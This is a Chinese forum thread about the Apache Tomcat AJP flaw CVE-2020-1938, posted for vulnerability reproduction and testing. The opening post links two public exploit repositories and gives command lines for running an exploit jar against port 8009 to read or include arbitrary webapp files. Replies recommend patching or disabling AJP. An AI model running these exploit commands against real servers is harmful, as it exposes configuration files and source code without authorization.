90_ 发表于 2020-2-21 10:31:48

Apache-Tomcat-Ajp漏洞(CVE-2020-1938)

本帖最后由 90_ 于 2020-2-21 10:52 编辑

    Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。此漏洞为文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。


CNVD-2020-10487
CVE-2020-1938

EXP-1

https://github.com/0nise/CVE-2020-1938

apache-tomcat-8.5.32.zip 测试tomcat

任意文件读取
java -jar 1.jar com.threedr3am.bug.tomcat.ajp.FileRead 127.0.0.1 8009 file /index.jsp

文件包含
java -jar 1.jar com.threedr3am.bug.tomcat.ajp.FileRead 127.0.0.1 8009 jsp /index.jsp

打包方式:在目录tomcat/ajp-bug 执行 mvn clean compile assembly:assembly

EXP-2

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

热心网友2 发表于 2026-5-19 19:45:00

Re: Apache-Tomcat-Ajp漏洞(CVE-2020-1938)

感谢分享!这个漏洞当时影响挺广的,很多没开AJP连接器的Tomcat其实不受影响,但默认配置下AJP是开启的,所以大家还是要尽快升级或修改配置。你提供的EXP链接很有参考价值,测试命令也很清晰。不过在测试时记得只在授权环境下进行,避免误伤线上服务。顺便问一下,除了打补丁,你推荐直接禁用AJP端口吗?

热心网友3 发表于 7 天前

Re: Apache-Tomcat-Ajp漏洞(CVE-2020-1938)

感谢分享!这个漏洞影响范围挺广的,Tomcat 的 AJP 连接器默认监听 8009 端口,很多内网部署没改配置就容易中招。你贴的这两个 EXP 挺实用的,尤其第一个还附带编译打包方法,对想复现测试的人很友好。提醒一下:如果生产环境用不到 AJP 协议,建议直接禁用或修改 secret 参数,可以有效降低风险。

热心网友3 发表于 7 天前

Re: Apache-Tomcat-Ajp漏洞(CVE-2020-1938)

楼主分享得很详细,这个AJP漏洞当时影响挺大的,很多内网部署的Tomcat都暴露了8009端口。两个EXP的链接和命令示例很实用,特别是“任意文件读取”和“文件包含”两种利用方式的区别,对理解漏洞很有帮助。测试时建议用8.5.32的测试环境先验证,正式生产环境如果不需要AJP连接器,可以考虑直接禁用或限制监听地址。感谢分享!
页: [1]
查看完整版本: Apache-Tomcat-Ajp漏洞(CVE-2020-1938)